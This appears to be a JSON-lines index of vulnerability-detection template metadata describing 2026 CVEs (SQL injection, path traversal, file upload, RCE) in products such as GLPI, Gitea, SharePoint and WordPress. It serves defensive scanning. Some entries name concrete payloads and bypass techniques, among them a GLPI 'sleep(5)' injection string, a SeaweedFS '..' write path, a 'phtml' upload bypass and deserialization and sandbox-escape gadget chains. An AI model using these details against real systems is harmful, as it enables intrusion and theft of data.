{"ID":"CVE-2026-53629","Info":{"Name":"GLPI - Blind SQL Injection in History Log Filter (LogBleed)","Severity":"high","Description":"GLPI versions before 10.0.26 and 11.0.8 are vulnerable to a blind SQL injection in the history log filter. The Log::convertFiltersValuesToSqlCriteria() function splits the affected_fields filter into key:operator:value parts and DBmysqlIterator::analyseCrit() does not quote OR, AND and NOT as column names, allowing an authenticated user with logs READ right to inject arbitrary SQL. Verified against glpi/glpi:10.0.25 (Docker + MariaDB): filter \"OR::1 AND sleep(5)\" produces \"... AND (((((1 AND sleep(5))))))\" in the query and the request takes ~5s. On 10.0.26 the same payload is rejected (~30ms).\n","Classification":{"CVSSScore":"8.8"}},"file_path":"http/cves/2026/CVE-2026-53629.yaml"}
{"ID":"CVE-2026-53753","Info":{"Name":"Crawl4AI \u003c= 0.8.6 - Remote Code Execution","Severity":"critical","Description":"Crawl4AI through 0.8.6 ships a Docker API server that exposes an unauthenticated /crawl endpoint. The computed field type of JsonCssExtractionStrategy evaluates a user supplied expression inside an AST based sandbox that does not restrict attribute access on generator frame objects. A generator expression can therefore reach gi_frame.f_back, walk the caller chain to f_builtins, recover __import__ and execute arbitrary operating system commands as the user running the container.\n","Classification":{"CVSSScore":"10.0"}},"file_path":"http/cves/2026/CVE-2026-53753.yaml"}
{"ID":"CVE-2026-53755","Info":{"Name":"crawl4ai \u003c 0.8.9 - Server Side Request Forgery","Severity":"high","Description":"Crawl4AI \u003c 0.8.9 contains a server-side request forgery caused by insufficient SSRF destination checks on proxy addresses in browser and crawler configurations, letting unauthenticated attackers access internal services and cloud metadata endpoints.\n","Classification":{"CVSSScore":"8.2"}},"file_path":"http/cves/2026/CVE-2026-53755.yaml"}
{"ID":"CVE-2026-53787","Info":{"Name":"Magento 2 Amasty Order Attributes \u003c 4.0.0 - Unauthenticated Arbitrary File Upload","Severity":"critical","Description":"Amasty Order Attributes for Magento 2 \u003c 4.0.0 contains an unrestricted file upload vulnerability caused by lack of authentication and validation in the upload endpoint, letting unauthenticated attackers upload arbitrary files including PHP, enabling remote code execution or malware hosting.\n","Classification":{"CVSSScore":"9.8"}},"file_path":"http/cves/2026/CVE-2026-53787.yaml"}
{"ID":"CVE-2026-53976","Info":{"Name":"OpenChamber \u003c1.13.0 - Unauthenticated Arbitrary File Read","Severity":"critical","Description":"OpenChamber 1.11.7 contains a path traversal vulnerability in the file-serving endpoints /api/fs/read, /api/fs/stat, and /api/fs/raw that allows unauthenticated remote attackers to read arbitrary files by supplying the allowOutsideWorkspace=true query parameter alongside an absolute path, bypassing the workspace boundary check in resolveReadPathFromContext. Attackers can exploit the vacuous isPathWithinRoot guard to read sensitive files such as the JWT signing secret, SSH private keys, API credentials, and environment variables, enabling full authentication bypass by forging session cookies on password-protected deployments.\n","Classification":{"CVSSScore":"9.1"}},"file_path":"http/cves/2026/CVE-2026-53976.yaml"}
{"ID":"CVE-2026-54066","Info":{"Name":"SiYuan \u003c= 3.6.5 - Unauthenticated Path Traversal","Severity":"high","Description":"SiYuan \u003c= 3.6.5 contains a path traversal via double URL-encoding in the /assets/ route (publish mode port 6808), allowing unauthenticated attackers to read arbitrary files inside WorkspaceDir including conf/conf.json which exposes the API token and access auth code.\n","Classification":{"CVSSScore":"7.5"}},"file_path":"http/cves/2026/CVE-2026-54066.yaml"}
{"ID":"CVE-2026-54069","Info":{"Name":"SiYuan Note \u003c= 3.6.5 - Authentication Bypass","Severity":"high","Description":"SiYuan Note 3.6.5 and prior is vulnerable to authentication bypass. The CheckAuth middleware unconditionally trusted all chrome-extension:// origins, granting RoleAdministrator access without token validation to any request with a spoofed Origin header. Fixed in v3.7.0.\n","Classification":{"CVSSScore":"9.1"}},"file_path":"http/cves/2026/CVE-2026-54069.yaml"}
{"ID":"CVE-2026-54157","Info":{"Name":"LobeHub LobeChat \u003c= 2.1.56 - Server-Side Request Forgery","Severity":"medium","Description":"LobeHub LobeChat versions up to and including 2.1.56 are vulnerable to an unauthenticated server-side request forgery vulnerability in the /webapi/proxy endpoint. The endpoint accepts a URL in the POST request body and fetches it server-side without authentication.\n","Classification":{"CVSSScore":"N/A"}},"file_path":"http/cves/2026/CVE-2026-54157.yaml"}
{"ID":"CVE-2026-54236","Info":{"Name":"vLLM \u003c= 0.23.0 - Anthropic Router Heap Address Information Leak","Severity":"medium","Description":"vLLM \u003c= 0.23.0 incompletely fixes CVE-2026-22778. The original fix added sanitize_message to the OpenAI router but the Anthropic-compatible router (/v1/messages) echoes str(exc) directly.\n","Classification":{"CVSSScore":"5.3"}},"file_path":"http/cves/2026/CVE-2026-54236.yaml"}
{"ID":"CVE-2026-54836","Info":{"Name":"YMC Filter - SQL Injection","Severity":"critical","Description":"YMC Filter \u003c= 3.11.5 contains an sql injection caused by improper neutralization of special elements in SQL commands, letting attackers execute arbitrary SQL queries, exploit requires crafted input.\n","Classification":{"CVSSScore":"9.3"}},"file_path":"http/cves/2026/CVE-2026-54836.yaml"}
{"ID":"CVE-2026-54917","Info":{"Name":"SeaweedFS \u003c= 4.29 - Path Traversal File Write","Severity":"high","Description":"SeaweedFS versions through 4.29 build the S3 API and Iceberg REST catalog routers with mux.NewRouter().SkipClean(true), which disables URL path cleaning. A `..` segment in the request path therefore survives routing and reaches the handlers unnormalised, so a request such as `PUT /bucket-A/../evil-bucket/key` is matched as bucket=bucket-A with object=../evil-bucket/key. The captured object key is then joined into a filer path where the `..` is collapsed server-side, so the write lands in evil-bucket while authorisation is evaluated against bucket-A, enabling cross-bucket file write.\n","Classification":{"CVSSScore":"7.8"}},"file_path":"http/cves/2026/CVE-2026-54917.yaml"}
{"ID":"CVE-2026-55087","Info":{"Name":"Etherpad 2.1.0 \u003c= 3.0.0 - Cross-Site Scripting","Severity":"medium","Description":"Etherpad versions 2.1.0 through 3.0.0 reflect the x-proxy-path request header into admin HTML, JavaScript, and CSS responses without sanitization. An attacker can abuse this behavior to inject crafted content into generated resource URLs, enabling cross-site scripting and cache poisoning scenarios.\n","Classification":{"CVSSScore":"6.1"}},"file_path":"http/cves/2026/CVE-2026-55087.yaml"}
{"ID":"CVE-2026-55224","Info":{"Name":"MineAdmin \u003c 3.2.0-alpha.2 - Plugin Path Traversal to RCE","Severity":"high","Description":"MineAdmin versions before 3.2.0-alpha.2 contain a path traversal vulnerability in the app-store plugin service. The identifier parameter is concatenated into filesystem paths without sanitization.\n","Classification":{"CVSSScore":"7.5"}},"file_path":"http/cves/2026/CVE-2026-55224.yaml"}
{"ID":"CVE-2026-55229","Info":{"Name":"Gotenberg \u003c 8.34.0 - Local File Disclosure","Severity":"high","Description":"Gotenberg before 8.34.0 allows SSRF and limited local file disclosure via its /forms/libreoffice/convert endpoint. When LibreOffice is used to convert user-uploaded DOCX files, external relationships within the document (such as a:blip r:link TargetMode=\"External\") can instruct LibreOffice to fetch local resources (file://) or remote resources (http/https), which are then included as images in the generated PDF. This can disclose the contents of local files LibreOffice can open as images, or allow outbound requests to attacker-controlled endpoints. Version 8.34.0 disables resolution of external resources during document conversion to mitigate the vulnerability.\n","Classification":{"CVSSScore":"7.5"}},"file_path":"http/cves/2026/CVE-2026-55229.yaml"}
{"ID":"CVE-2026-5524","Info":{"Name":"Divi Form Builder \u003c=5.1.8 - Unauthenticated Arbitrary File Upload RCE","Severity":"critical","Description":"The Divi Form Builder plugin for WordPress versions 5.1.8 and prior contains an unauthenticated arbitrary file upload vulnerability in the do_image_upload() AJAX handler. The user-controlled acceptFileTypes POST parameter is injected unsanitized into a PHP regex for file extension validation. By supplying acceptFileTypes=phtml the constructed regex accepts .phtml files while the plugin's .htaccess only blocks .php, so Apache executes .phtml files as PHP. The required nonce (fb_nonce) is publicly embedded in any page containing a Divi form via the de_fb_obj JavaScript object. Uploaded shells land in /wp-content/uploads/de_fb_uploads/. Fixed in 5.1.9.\n","Classification":{"CVSSScore":"9.8"}},"file_path":"http/cves/2026/CVE-2026-5524.yaml"}
{"ID":"CVE-2026-55450","Info":{"Name":"Langflow \u003c 1.9.1 - Unauthenticated File Upload","Severity":"critical","Description":"Langflow \u003c 1.9.1 contains an unrestricted file upload caused by lack of upload limitations, letting unauthenticated attackers exhaust server space and leak absolute file paths, exploit requires network access.\n","Classification":{"CVSSScore":"9.3"}},"file_path":"http/cves/2026/CVE-2026-55450.yaml"}
{"ID":"CVE-2026-55592","Info":{"Name":"Dashy \u003c= 4.3.6 - Reflected XSS via Workspace","Severity":"medium","Description":"Dashy versions up to 4.3.6 contain a reflected cross-site scripting vulnerability in the workspace view. The url query parameter is passed directly to an iframe src attribute without scheme validation, allowing an attacker to inject javascript: URIs that execute arbitrary JavaScript in the context of the Dashy origin.\n","Classification":{"CVSSScore":"6.1"}},"file_path":"http/cves/2026/CVE-2026-55592.yaml"}
{"ID":"CVE-2026-5562","Info":{"Name":"Provectus kafka-ui \u003c=0.7.2 - Remote Code Execution","Severity":"critical","Description":"Provectus kafka-ui versions 0.7.0 through 0.7.2 are vulnerable to code injection in the `/api/smartfilters/testexecutions` endpoint. The `filterCode` parameter is evaluated as a Groovy expression without sandboxing, allowing an unauthenticated attacker to execute arbitrary code and operating-system commands on the host.\n","Classification":{"CVSSScore":"9.8"}},"file_path":"http/cves/2026/CVE-2026-5562.yaml"}
{"ID":"CVE-2026-5615","Info":{"Name":"VvvebJs \u003c= 2.0.5 - Cross-Site Scripting","Severity":"medium","Description":"Givanz Vvvebjs \u003c= 2.0.5 contains a stored XSS caused by manipulation of the \"uploadAllowExtensions\" argument in upload.php File Upload Endpoint, letting remote attackers execute scripts, exploit requires crafted input.\n","Classification":{"CVSSScore":"4.3"}},"file_path":"http/cves/2026/CVE-2026-5615.yaml"}
{"ID":"CVE-2026-56265","Info":{"Name":"Crawl4AI \u003c 0.8.7 - Hardcoded JWT Signing Key Authentication Bypass","Severity":"critical","Description":"Crawl4AI Docker API server versions before 0.8.7 ship with a hardcoded default JWT signing key (\"mysecret\") used to sign and verify HS256 authentication tokens. Because the key is identical across every deployment where SECRET_KEY has not been overridden, an unauthenticated attacker can forge a valid Bearer token and use it to access every JWT-protected API endpoint (/md, /html, /screenshot, /pdf, /execute_js, /crawl, /ask).\n","Classification":{"CVSSScore":"9.8"}},"file_path":"http/cves/2026/CVE-2026-56265.yaml"}
{"ID":"CVE-2026-56270","Info":{"Name":"Flowise \u003c= 3.0.13 - Unauthenticated OAuth Configuration Disclosure","Severity":"high","Description":"Flowise before 3.1.0 contains a missing authentication vulnerability in the /api/v1/loginmethod endpoint, allowing unauthenticated remote attackers to retrieve an organization's complete SSO configuration including OAuth client secrets by providing an organizationId parameter.\n","Classification":{"CVSSScore":"7.5"}},"file_path":"http/cves/2026/CVE-2026-56270.yaml"}
{"ID":"CVE-2026-56290","Info":{"Name":"Page Builder CK \u003c= 3.5.10 - Unauthenticated Arbitrary File Upload","Severity":"critical","Description":"Joomla Page Builder CK contains an unrestricted file upload vulnerability caused by lack of proper validation, letting unauthenticated attackers upload executable files and achieve remote code execution.\n","Classification":{"CVSSScore":"9.8"}},"file_path":"http/cves/2026/CVE-2026-56290.yaml"}
{"ID":"CVE-2026-56291","Info":{"Name":"Balbooa Forms \u003c 2.4.1 - Unauthenticated Arbitrary File Upload","Severity":"critical","Description":"Joomla Balbooa Forms contains an unrestricted file upload vulnerability caused by lack of authentication checks, letting unauthenticated attackers upload executable files and achieve remote code execution.\n","Classification":{"CVSSScore":"9.8"}},"file_path":"http/cves/2026/CVE-2026-56291.yaml"}
{"ID":"CVE-2026-56292","Info":{"Name":"AcyMailing \u003c 10.11.1 - Unauthenticated SQL Injection","Severity":"critical","Description":"AcyMailing component for Joomla \u003c10.11.1 contains a sql injection caused by improper input sanitization, letting attackers access unauthorized database data, exploit requires crafted input.\n","Classification":{"CVSSScore":"7.5"}},"file_path":"http/cves/2026/CVE-2026-56292.yaml"}
{"ID":"CVE-2026-56782","Info":{"Name":"Gorse \u003c 0.5.10 - Unauthenticated Database Dump","Severity":"critical","Description":"Gorse \u003c 0.5.10 contains an authentication bypass caused by empty admin_api_key in /api/dump and /api/restore endpoints, letting unauthenticated remote attackers access and modify protected data, exploit requires default empty admin_api_key configuration.\n","Classification":{"CVSSScore":"9.8"}},"file_path":"http/cves/2026/CVE-2026-56782.yaml"}
{"ID":"CVE-2026-5718","Info":{"Name":"Drag and Drop Multiple File Upload - CF7 \u003c= 1.3.9.6 - Remote Code Execution","Severity":"critical","Description":"Drag and Drop Multiple File Upload for Contact Form 7 WordPress plugin \u003c= 1.3.9.6 contains an unrestricted file upload caused by insufficient file type validation and bypass of filename sanitization with non-ASCII characters, letting unauthenticated attackers upload arbitrary files and achieve remote code execution.\n","Classification":{"CVSSScore":"9.8"}},"file_path":"http/cves/2026/CVE-2026-5718.yaml"}
{"ID":"CVE-2026-57219","Info":{"Name":"RabbitMQ Management - OAuth 2 Client Secret Disclosure","Severity":"high","Description":"RabbitMQ \u003c 3.13.15, 4.0.20, 4.1.11, and 4.2.6 contains an information disclosure caused by the obsolete GET /api/auth endpoint exposing OAuth 2 client secrets when management.oauth_client_secret is configured, letting unauthenticated attackers access sensitive credentials, exploit requires management plugin and OAuth configuration enabled.\n","Classification":{"CVSSScore":"7.5"}},"file_path":"http/cves/2026/CVE-2026-57219.yaml"}
{"ID":"CVE-2026-57582","Info":{"Name":"GeoNetwork - Reflected Cross-Site Scripting","Severity":"high","Description":"GeoNetwork versions 4.4.5 through 4.4.11 are vulnerable to reflected cross-site scripting (XSS) in the public unauthenticated catalog search functionality. The uiconfig query parameter of the catalog.search endpoint is reflected into a JavaScript context without sufficient sanitization, allowing arbitrary JavaScript execution in a victim's browser.\n","Classification":{"CVSSScore":"8.2"}},"file_path":"http/cves/2026/CVE-2026-57582.yaml"}
{"ID":"CVE-2026-57827","Info":{"Name":"RSFiles! for Joomla - Arbitrary File Upload","Severity":"critical","Description":"RSFiles! (com_rsfiles) for Joomla \u003c 1.17.12 allows unauthenticated arbitrary file upload via the rsfiles.upload task. The write method performs no authentication, CSRF token, or file extension checks, allowing upload of executable PHP files to the web-accessible downloads/ directory.\n","Classification":{"CVSSScore":"9.8"}},"file_path":"http/cves/2026/CVE-2026-57827.yaml"}
{"ID":"CVE-2026-58123","Info":{"Name":"Hermes WebUI \u003c 0.51.788 - Remote Code Execution","Severity":"critical","Description":"Hermes WebUI \u003c 0.51.788 contains an unauthenticated remote code execution caused by improper access control in embedded terminal API endpoints, letting remote attackers execute arbitrary shell commands without credentials.\n","Classification":{"CVSSScore":"9.8"}},"file_path":"http/cves/2026/CVE-2026-58123.yaml"}
{"ID":"CVE-2026-58138","Info":{"Name":"Orkes Conductor 3.21.21-3.30.1 - Remote Code Execution","Severity":"critical","Description":"Orkes Conductor from 3.21.21 before 3.30.2 is vulnerable to unauthenticated remote code execution. The INLINE workflow task evaluates a user-supplied JavaScript expression in a GraalVM context created with HostAccess.ALL, so an unauthenticated attacker can reflect from the bound input object to java.lang.Runtime and execute arbitrary operating system commands through the workflow API.\n","Classification":{"CVSSScore":"9.8"}},"file_path":"http/cves/2026/CVE-2026-58138.yaml"}
{"ID":"CVE-2026-58191","Info":{"Name":"Appium base-driver \u003c=10.6.0 - Reflected Cross-Site Scripting","Severity":"medium","Description":"Appium \u003c= 10.7.0 contains a reflected XSS caused by unescaped reflection of throwError query parameter, comments POST field, and User-Agent header in base-driver routes, letting remote attackers execute arbitrary JavaScript, exploit requires crafted HTTP requests.\n","Classification":{"CVSSScore":"6.5"}},"file_path":"http/cves/2026/CVE-2026-58191.yaml"}
{"ID":"CVE-2026-58455","Info":{"Name":"Dockwatch \u003c= 0.6.567 - OS Command Injection","Severity":"critical","Description":"Dockwatch through 0.6.567 contains an unauthenticated command injection caused by missing exit() after authentication redirect in loader.php and unsanitized input in ajax/compose.php, letting remote attackers execute arbitrary shell commands, exploit requires seeding a session flag via incomplete auth check.\n","Classification":{"CVSSScore":"9.8"}},"file_path":"http/cves/2026/CVE-2026-58455.yaml"}
{"ID":"CVE-2026-58644","Info":{"Name":"Microsoft SharePoint Server - WS-Federation BinaryFormatter Deserialization RCE","Severity":"critical","Description":"Microsoft SharePoint Server (2016, 2019, Subscription Edition \u003c= 2026.3.1) contains a remote code execution vulnerability in the WS-Federation passive sign-in endpoint (/_trust/default.aspx). The SharePoint authentication module (SPFederationAuthenticationModuleV2) uses a deflate-only DeflateCookieTransform (no MAC/signature check) to decode and BinaryFormatter to deserialize the SecurityContextToken Cookie value in the wresult parameter without type restrictions. An unauthenticated attacker can send a crafted WS-Federation token containing a BinaryFormatter gadget chain (DataSet + LosFormatter + XamlAssemblyLoadFromFile) to execute arbitrary code in the context of the IIS application pool identity (w3wp.exe). The fix (KB5002882, July 2026 CU) replaces the DeflateCookieTransform with\nNotSupportedCookieTransform, making ReadToken() throw before deserialization.\n","Classification":{"CVSSScore":"9.8"}},"file_path":"http/cves/2026/CVE-2026-58644.yaml"}
{"ID":"CVE-2026-59177","Info":{"Name":"ESPHome Device Builder \u003c1.0.10 - Unauthenticated Dashboard Access","Severity":"high","Description":"ESPHome Device Builder versions before 1.0.10 bind the trusted Home Assistant ingress site to all interfaces. A client that can reach the ingress port can therefore access the dashboard without the Supervisor's authentication proxy.\n","Classification":{"CVSSScore":"8.8"}},"file_path":"http/cves/2026/CVE-2026-59177.yaml"}
{"ID":"CVE-2026-59509","Info":{"Name":"cve-search 4.0-6.0.0 - Unauthenticated NoSQL Injection","Severity":"critical","Description":"cve-search versions 4.0 through 6.0.0 expose an unauthenticated DataTables endpoint that accepts attacker-controlled MongoDB collection, projection, filtering, and pagination parameters. This detector uses a harmless invalid projection field against the intended cves collection; version 6.0.1 rejects that field.\n","Classification":{"CVSSScore":"9.2"}},"file_path":"http/cves/2026/CVE-2026-59509.yaml"}
{"ID":"CVE-2026-59726","Info":{"Name":"ruflo MCP Bridge - Unauthenticated RCE via terminal_execute","Severity":"critical","Description":"ruflo MCP bridge (\u003c 3.16.3) in its default docker-compose deployment exposes POST /mcp with no authentication and binds to all interfaces (0.0.0.0:3001). The executeTool() function has no server-side deny list for dangerous tools, allowing an unauthenticated attacker to invoke tools/call with ruflo__terminal_execute, which runs execSync(command) on attacker-supplied input. This yields arbitrary command execution as the node user (uid 1000) inside the bridge container. The blocklist (AUTOPILOT_BLOCKED_PATTERNS + isBlockedTool()) is enforced only in the autopilot SSE handler; POST /mcp and POST /mcp/:group bypass it entirely.\n","Classification":{"CVSSScore":"9.8"}},"file_path":"http/cves/2026/CVE-2026-59726.yaml"}
{"ID":"CVE-2026-59774","Info":{"Name":"Gitea 1.22.1-1.27.0 - Unauthenticated Arbitrary File Read","Severity":"critical","Description":"Gitea versions 1.22.1 through 1.27.0 initialize the go-org markup renderer without replacing its default ReadFile callback. An unauthenticated attacker can submit Org-mode markup containing an #+INCLUDE directive with an absolute path to the repository markup endpoint of any public repository, causing the server to read and render arbitrary files accessible to the Gitea service user.\n","Classification":{"CVSSScore":"9.8"}},"file_path":"http/cves/2026/CVE-2026-59774.yaml"}
{"ID":"CVE-2026-59801","Info":{"Name":"9Router - Unauthenticated LLM Provider API Exposure","Severity":"critical","Description":"9Router through version 0.4.41 contains an unauthenticated access vulnerability caused by missing authentication middleware in Next.js API routes under src/app/api/providers/*, letting remote attackers enumerate, create, modify, or delete provider connections, exploit requires no authentication.\n","Classification":{"CVSSScore":"N/A"}},"file_path":"http/cves/2026/CVE-2026-59801.yaml"}
{"ID":"CVE-2026-60004","Info":{"Name":"Gitea \u003c= 1.27.0 - Pre-Auth Remote Code Execution","Severity":"critical","Description":"Gitea versions 1.17 through 1.27.0 contain a remote code execution vulnerability in the diffpatch endpoint caused by an add/add collision that writes an executable Git hook into the bare repository's GIT_DIR. An attacker with write access can execute arbitrary commands as the Gitea service account, exploit requires only open registration for unauthenticated access.\n","Classification":{"CVSSScore":"9.8"}},"file_path":"http/cves/2026/CVE-2026-60004.yaml"}
{"ID":"CVE-2026-60105","Info":{"Name":"Monsta FTP \u003c= 2.14.4 - Unauthenticated SSRF via IPv6 Blocklist Bypass","Severity":"high","Description":"Monsta FTP before 2.14.5 contains a server-side request forgery vulnerability in the fetchRemoteFile action caused by an incomplete IP blocklist check in the isBlockedIP() function, which fails to detect embedded IPv4 addresses within IPv4-mapped IPv6 addresses.\n","Classification":{"CVSSScore":"8.6"}},"file_path":"http/cves/2026/CVE-2026-60105.yaml"}
{"ID":"CVE-2026-6118","Info":{"Name":"AstrBot \u003c= 4.22.1 - Command Injection","Severity":"high","Description":"AstrBot versions up to and including 4.22.1 contain a command injection vulnerability in the MCP server configuration endpoint. The /api/tools/mcp/add endpoint accepts arbitrary command and args fields that are passed directly to subprocess execution during the connection test, without any validation or allowlist enforcement. An attacker with dashboard access can execute arbitrary system commands with AstrBot process privileges.\n","Classification":{"CVSSScore":"8.8"}},"file_path":"http/cves/2026/CVE-2026-6118.yaml"}
{"ID":"CVE-2026-61511","Info":{"Name":"vBulletin 6.x - Remote Code Execution","Severity":"critical","Description":"vBulletin 5.x through 5.7.5 and 6.x through 6.2.1 contain an eval injection vulnerability caused by insufficiently restrictive regex filtering in vB5_Template_Runtime::runMaths(), letting unauthenticated remote attackers execute arbitrary PHP code via the pagenav[pagenumber] parameter in ajax/render template route.\n","Classification":{"CVSSScore":"N/A"}},"file_path":"http/cves/2026/CVE-2026-61511.yaml"}
{"ID":"CVE-2026-61736","Info":{"Name":"LightRAG \u003c= 1.5.3 - Credentialed CORS Wildcard","Severity":"high","Description":"LightRAG \u003c= 1.5.4 contains a broken access control vulnerability caused by default CORS_ORIGINS=* with allow_credentials=True in lightrag_server.py, letting malicious websites perform authenticated API requests, exploit requires authenticated user.\n","Classification":{"CVSSScore":"9.3"}},"file_path":"http/cves/2026/CVE-2026-61736.yaml"}
{"ID":"CVE-2026-61808","Info":{"Name":"LightRAG \u003c= 1.5.4 - Missing Authentication","Severity":"high","Description":"LightRAG through version 1.5.4 contains a broken access control vulnerability caused by the API server binding to all network interfaces with authentication disabled, letting unauthenticated network attackers fully control indexed documents and resources, exploit requires network access.\n","Classification":{"CVSSScore":"7.5"}},"file_path":"http/cves/2026/CVE-2026-61808.yaml"}
{"ID":"CVE-2026-6203","Info":{"Name":"User Registration \u0026 Membership WordPress plugin - Open Redirect","Severity":"medium","Description":"User Registration \u0026 Membership WordPress plugin \u003c= 5.1.4 contains an open redirect caused by insufficient validation of 'redirect_to_on_logout' parameter, letting attackers redirect users to malicious external URLs after logout, exploit requires crafted URL.\n","Classification":{"CVSSScore":"6.1"}},"file_path":"http/cves/2026/CVE-2026-6203.yaml"}
{"ID":"CVE-2026-62382","Info":{"Name":"PasswordPusher v1.45.11-v2.9.5 - Unauthenticated Anonymous Push Deletion via Ownership Bypass","Severity":"medium","Description":"PasswordPusher v1.45.11 through v2.9.5 allows unauthenticated deletion of anonymous pushes due to a nil==nil ownership-check bypass (CWE-863). The deletion guard evaluates (@push.user == current_user) || @push.deletable_by_viewer. For anonymous pushes, @push.user is nil; for unauthenticated requests, current_user is nil. Ruby evaluates nil==nil as true, so the ownership check passes and the deletable_by_viewer=false restriction is completely bypassed. Anyone who knows the secret URL token can permanently expire an anonymous push without any credentials.\n","Classification":{"CVSSScore":"6.9"}},"file_path":"http/cves/2026/CVE-2026-62382.yaml"}
{"ID":"CVE-2026-63030","Info":{"Name":"WordPress Core 6.9-7.0.1 - Pre-Auth Batch-Route Confusion","Severity":"critical","Description":"WordPress core versions 6.9.0 through 6.9.4 and 7.0.0 through 7.0.1 are vulnerable to a pre-authentication route confusion issue in the REST API batch endpoint (/?rest_route=/batch/v1). A malformed nested batch request desynchronizes the batch router, allowing unauthenticated requests to reach unintended REST API handlers and bypass authorization checks. This route confusion can be chained with a SQL injection flaw (CVE-2026-60137) in the author_exclude parameter to extract database contents and ultimately achieve remote code execution. This template safely detects the vulnerable handler state via the route confusion behavior alone, without executing SQL or relying on response timing.\n","Classification":{"CVSSScore":"9.8"}},"file_path":"http/cves/2026/CVE-2026-63030.yaml"}
{"ID":"CVE-2026-63077","Info":{"Name":"JetBrains TeamCity \u003c 2026.1.3, 2025.11.7 - Remote Code Execution","Severity":"critical","Description":"JetBrains TeamCity \u003c 2026.1.3, 2025.11.7 contains a remote code execution caused by unauthenticated access via the agent polling protocol, letting unauthenticated attackers execute arbitrary code remotely, exploit requires no authentication.\n","Classification":{"CVSSScore":"9.8"}},"file_path":"http/cves/2026/CVE-2026-63077.yaml"}
{"ID":"CVE-2026-6433","Info":{"Name":"FlipperCode Custom CSS, JS \u0026 PHP \u003c= 2.0.7 - Remote Code Execution","Severity":"critical","Description":"Custom css-js-php WordPress plugin through 2.0.7 contains a command injection caused by unsanitized user input used in SQL query and passed to eval(), letting unauthenticated attackers execute arbitrary PHP code on the server.\n","Classification":{"CVSSScore":"9.8"}},"file_path":"http/cves/2026/CVE-2026-6433.yaml"}
{"ID":"CVE-2026-64638","Info":{"Name":"WordPress Core \u003c 7.0.3 - Preauth Reflected XSS (XSS2Shell)","Severity":"high","Description":"Pre-authentication reflected XSS in WordPress wp-login.php (CVE-2026-64638).\nThe flaw exploits a parser differential between PHP strip_tags() and\nWordPress KSES. Tags with whitespace after \u003c (e.g. \"\u003c area\") survive\nstrip_tags() but are normalized to valid HTML by KSES, leading to\nattacker-controlled DOM elements that trigger automatic JavaScript\nexecution via user-profile.js. No user interaction required.\nAffects all WordPress versions \u003c 7.0.3.\n","Classification":{"CVSSScore":"8.9"}},"file_path":"http/cves/2026/CVE-2026-64638.yaml"}
{"ID":"CVE-2026-64849","Info":{"Name":"MLflow Webhook SSRF - Unauthenticated Full-Read via Redirect Bypass","Severity":"critical","Description":"MLflow \u003e 3.15.0 contains an information disclosure vulnerability caused by improper validation of webhook URLs allowing attackers to reach internal or cloud metadata services and obtain response details, exploit requires unauthenticated access to the webhook test endpoint.\n","Classification":{"CVSSScore":"9.3"}},"file_path":"http/cves/2026/CVE-2026-64849.yaml"}
{"ID":"CVE-2026-65442","Info":{"Name":"FormCraft3 \u003c= 3.9.15 - Server-Side Request Forgery","Severity":"high","Description":"Unauthenticated Server Side Request Forgery (SSRF) in FormCraft \u003c= 3.9.15 versions.\n","Classification":{"CVSSScore":"7.2"}},"file_path":"http/cves/2026/CVE-2026-65442.yaml"}
{"ID":"CVE-2026-65694","Info":{"Name":"Microweber CMS \u003c= 2.0.20 - Unauthenticated Arbitrary File Read","Severity":"high","Description":"Microweber CMS \u003c= 2.0.20 contains a path traversal vulnerability caused by failure to normalize path query parameter in static file controller, letting unauthenticated remote attackers read arbitrary files.\n","Classification":{"CVSSScore":"7.5"}},"file_path":"http/cves/2026/CVE-2026-65694.yaml"}
{"ID":"CVE-2026-65761","Info":{"Name":"Joomla Easy Store - SQL Injection","Severity":"critical","Description":"Joomla Easy Store extension 1.0.0-2.0.1 contains an unauthenticated SQL injection caused by improper validation of order parameters, letting unauthenticated attackers read the full database including credentials and sessions.\n","Classification":{"CVSSScore":"9.8"}},"file_path":"http/cves/2026/CVE-2026-65761.yaml"}
{"ID":"CVE-2026-65919","Info":{"Name":"Meshery \u003c1.0.57 - Arbitrary File Read","Severity":"high","Description":"Meshery before 1.0.57 contains an unauthenticated arbitrary file read vulnerability in the /api/system/fileView and /api/system/fileDownload endpoints that pass user-supplied file parameters directly to os.Open without path validation. Attackers can supply absolute paths or traversal sequences in the file parameter to read arbitrary files from the host filesystem without authentication.\n","Classification":{"CVSSScore":"7.5"}},"file_path":"http/cves/2026/CVE-2026-65919.yaml"}
{"ID":"CVE-2026-67208","Info":{"Name":"Juggle \u003c= 1.6.0 - Unauthenticated Exposed H2 Database Console","Severity":"critical","Description":"Juggle ships the H2 database web console enabled and reachable from\nnon-localhost by default. No application-level authentication covers\nthe /h2-console path, and the shipped default datasource credentials\n(sa/juggle) are known. An unauthenticated remote attacker can reach the\nconsole and, using the default credentials, achieve OS command\nexecution on the host via the H2 CREATE ALIAS Runtime.exec() technique.\n","Classification":{"CVSSScore":"9.8"}},"file_path":"http/cves/2026/CVE-2026-67208.yaml"}
{"ID":"CVE-2026-6826","Info":{"Name":"Concrete CMS \u003c9.5.1 - Unauthenticated File Usage Disclosure","Severity":"medium","Description":"Concrete CMS 9.5.0 and below is vulnerable to unauthenticated file usage disclosure via missing permission check in the usage controller.\n","Classification":{"CVSSScore":"6.9"}},"file_path":"http/cves/2026/CVE-2026-6826.yaml"}
{"ID":"CVE-2026-6854","Info":{"Name":"My Calendar \u003c 3.7.9 - Unauthenticated SQL Injection","Severity":"high","Description":"The My Calendar – Accessible Event Manager plugin for WordPress is vulnerable to time-based blind SQL Injection via the 'mc_auth' parameter in all versions up to, and including, 3.7.8 due to insufficient escaping on the user supplied parameter and lack of sufficient preparation on the existing SQL query. This makes it possible for unauthenticated attackers to append additional SQL queries into already existing queries that can be used to extract sensitive information from the database.\n","Classification":{"CVSSScore":"N/A"}},"file_path":"http/cves/2026/CVE-2026-6854.yaml"}
{"ID":"CVE-2026-6875","Info":{"Name":"ServiceNow AI Platform - Pre-Auth JavaScript Sandbox Escape RCE","Severity":"critical","Description":"ServiceNow AI Platform (Brazil, Australia, Zurich, and Yokohama releases before patching) contains a pre-authentication remote code execution vulnerability. The /assessment_thanks.do endpoint passes the sysparm_assessable_type parameter into GlideRecord's addQuery(), which evaluates \"javascript:\" prefixed values as JavaScript in a restricted script sandbox. A sandbox escape gadget using Object.defineProperty and Class.create.constructor chains through the gs.include('ItemViewElementsProvider') path to invoke Function(code)(), bypassing the sandbox and executing arbitrary GlideController code. Actively exploited in the wild since July 2026.\n","Classification":{"CVSSScore":"9.5"}},"file_path":"http/cves/2026/CVE-2026-6875.yaml"}
